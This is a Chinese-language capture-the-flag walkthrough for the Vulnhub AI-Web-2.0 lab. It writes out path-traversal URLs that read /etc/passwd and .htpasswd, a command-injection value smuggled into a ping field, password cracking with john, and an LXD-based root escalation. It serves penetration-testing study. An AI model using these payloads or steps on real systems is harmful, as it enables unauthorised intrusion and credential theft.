Vulnhub靶机介绍：
vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
这是一个Web的漏洞靶机，老样子需要找到flag即可。
Vulnhub靶机下载：
官网地址：https://download.vulnhub.com/aiweb/AI-Web-2.0.7z
Vulnhub靶机安装：
下载好了把安装包解压 然后使用VMware即可。
Vulnhub靶机漏洞详解：
①：信息收集：
kali里使用netdiscover发现主机
使用命令：nmap -sS -sV -A -n 192.168.0.105
发现开启了22端口和80端口 先访问一下80端口 注册一个账号登入一下，然后扫一下后台 dirb
②：目录穿越漏洞：
FileSharing 文件共享？？ 使用命令searchsploit 搜索一下相关漏洞 然后看一下漏洞怎么利用（目录穿越漏洞）
http://192.168.0.105/download.php?file_name=../../../../../../../../../../../../../etc/passwd ##利用漏洞看passwd
在/etc/passwd/下面发现了 两个用户 分别是 aiweb2 n0nr00tuser可能等下需要用到先放着 接着读取一下apache 文件
192.168.0.105/download.php?file_name=../../../../../../../../../../../../../etc/apache2/sites-enabled/000-default.conf
http://192.168.0.105/download.php?file_name=../../../../../../../../../../../../../etc/apache2/.htpasswd
新建一个pass.txt 把加密的复制进去aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/使用工具john 破解 发现 破解失败
后面才发现 给的提示有字典的名称:rockyou-45.txt 去github 上面找一个下载一下即可（这里没有外网 本机下载拖到kali）
字典链接：https://github.com/danielmiessler/SecLists/blame/master/Passwords/Leaked-Databases/rockyou-45.txt
得到账号密码：aiweb2admin/c.ronaldo
③：命令执行漏洞：
先登入一下后台，发现它给的提示的网络爬虫协议 访问一下http://192.168.0.105/webadmin/robots.txt
发现了两个路径分别是 /H05Tpin9555/ 和 /S0mextras/ 依次进行访问
这里访问第一个路径 /H05Tpin9555 存在一个ping的对话框 怀疑是命令 执行漏洞 第二个路径/S0mextras/下没有发现什么新东西。
使用命令：127.0.0.1|find ../S0mextras/ . -type f 2>/dev/null 发现了个隐藏文件 可能是ssh 账号的密码文档 进行访问查看。
账号：n0nr00tuser 密码：zxowieoi4sdsadpEClDws1sf使用ssh登入 发现登入成功！！！
④：提权：
登入成功先看一下权限 使用命令：id ，uname -a cat /etc/os-release发现权限很低，先sudo -l 看一下 还是没有权限
使用命令：find / -perm -u=s -type f 2>/dev/null 查看二进制文件
使用命令searchsploit linux 18.04 搜一下相关版本看看系统有啥漏洞可以利用 
查看利用.sh文件 第一步需要下载build-alpine ，第二步运行里面的build alpine然后给靶机运行就可以得到root
https://github.com/saghul/lxd-alpine-builder/
现在好了拖到kali里面 然后解压 运行./build-alpine 会下载一个apk的文件
然后ls一下会发现多了一个命名规则是年份日期的，然后把这个传到靶机中。
⑤：获取flag：
使用命令：find / –name flag*
至此获取到了flag，渗透测试结束。
Vulnhub靶机渗透总结：
①：了解了目录穿越漏洞（FileSharing）
②：命令执行漏洞需要 要多进行隐藏文件的收集（可以使用.）
③：信息收集后要学会 搜索相关漏洞并进行利用(Ubuntu 18.04)
④：注意权限的问题 很多时候没有权限是执行不了的 会提权失败（chmod 777）
这次是一个Web靶机的学习，希望大家也可以学习到新的一些知识点和一些渗透测试思路
